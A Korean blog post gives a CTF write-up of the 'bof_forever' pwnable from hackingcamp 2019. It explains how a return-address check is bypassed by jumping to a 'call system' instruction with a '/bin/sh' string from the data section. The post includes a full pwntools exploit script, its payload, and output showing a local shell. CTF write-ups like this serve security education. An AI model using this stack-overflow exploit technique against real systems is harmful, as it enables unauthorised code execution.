int __cdecl main()
{
char buf; // [esp+0h] [ebp-204h]
int (**retaddr)(const char *); // [esp+208h] [ebp+4h]
system("echo hi");
read(0, &buf, 0x800u);
if ( retaddr == &system )
{
perror("no hack~");
exit(-1);
}
return 0;
}
ret에 system주소가 들어오면 막게 되어있다. 그래서 system을 ret주소에 직접적으로 넣지는 못한다.
bss에다가 /bin/sh박고 어뜨케 할려고 bss영역을 확인을 해보았다.
.data:0804A01C _data segment dword public 'DATA' use32
.data:0804A01C assume cs:_data
.data:0804A01C ;org 804A01Ch
.data:0804A01C db 0
.data:0804A01D db 0
.data:0804A01E db 0
.data:0804A01F db 0
.data:0804A020 db 0
.data:0804A021 db 0
.data:0804A022 db 0
.data:0804A023 db 0
.data:0804A024 db 2Fh ; /
.data:0804A025 db 62h ; b
.data:0804A026 db 69h ; i
.data:0804A027 db 6Eh ; n
.data:0804A028 db 2Fh ; /
.data:0804A029 db 73h ; s
.data:0804A02A db 68h ; h
.data:0804A02B db 0
.data:0804A02B _data ends
보다싶이 data section에 /bin/sh문자열이 저장되어있는것을 볼 수 있다.
그리고 ret에 system 주소를 못넣는거지 call system은 넣을 수 있다.
무슨말이냐면 call system
이랑 system plt
랑은 다르다는 것!
그래서 ret에다가 `system plt
를 넣어둔다.
그다음에 /bin/sh가 적혀있는 data섹션의 주소를 넣어주면 된다.
Exploit
from pwn import *
context.log_level = "debug"
e = ELF("./bofforever")
#r = remote("kshgroup.kr", 20201 )
r = process("./bofforever")
bss = e.bss()
read_plt = e.plt["read"]
system = 0x80484d2
pr = 0x08048331
binsh = 0x804a024
payload = ""
payload += "A" * (0x204 + 0x4)
payload += p32(system)
payload += p32(binsh)
r.recvuntil("hi\n")
r.send(payload)
r.interactive()
Flag
juntae@ubuntu:~/ctf/hakcamp2019/pwn/bof_forever$ p ex.py
[DEBUG] PLT 0x8048350 read
[DEBUG] PLT 0x8048360 perror
[DEBUG] PLT 0x8048370 exit
[DEBUG] PLT 0x8048380 __libc_start_main
[DEBUG] PLT 0x8048390 system
[DEBUG] PLT 0x8048394 __gmon_start__
[*] '/home/juntae/ctf/hakcamp2019/pwn/bof_forever/bofforever'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process './bofforever': pid 2818
[DEBUG] Received 0x3 bytes:
'hi\n'
[DEBUG] Sent 0x210 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000200 41 41 41 41 41 41 41 41 d2 84 04 08 24 a0 04 08 │AAAA│AAAA│····│$···│
00000210
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
'ls\n'
[DEBUG] Received 0x18 bytes:
'bofforever core ex.py\n'
bofforever core ex.py
$
'System Hacking ( pwnable ) > CTF Write-up' 카테고리의 다른 글
[hackingcamp] magic ( write-up ) (0) | 2019.08.25 |
---|---|
[hackingcamp] campnote ( write-up ) (0) | 2019.08.25 |
[SSTF] bofsb ( write-up ) (0) | 2019.08.20 |
[HITCON] Sleepy Holder ( write-up ) (0) | 2019.08.04 |
[Rctf] Rnote ( write-up ) (0) | 2019.08.02 |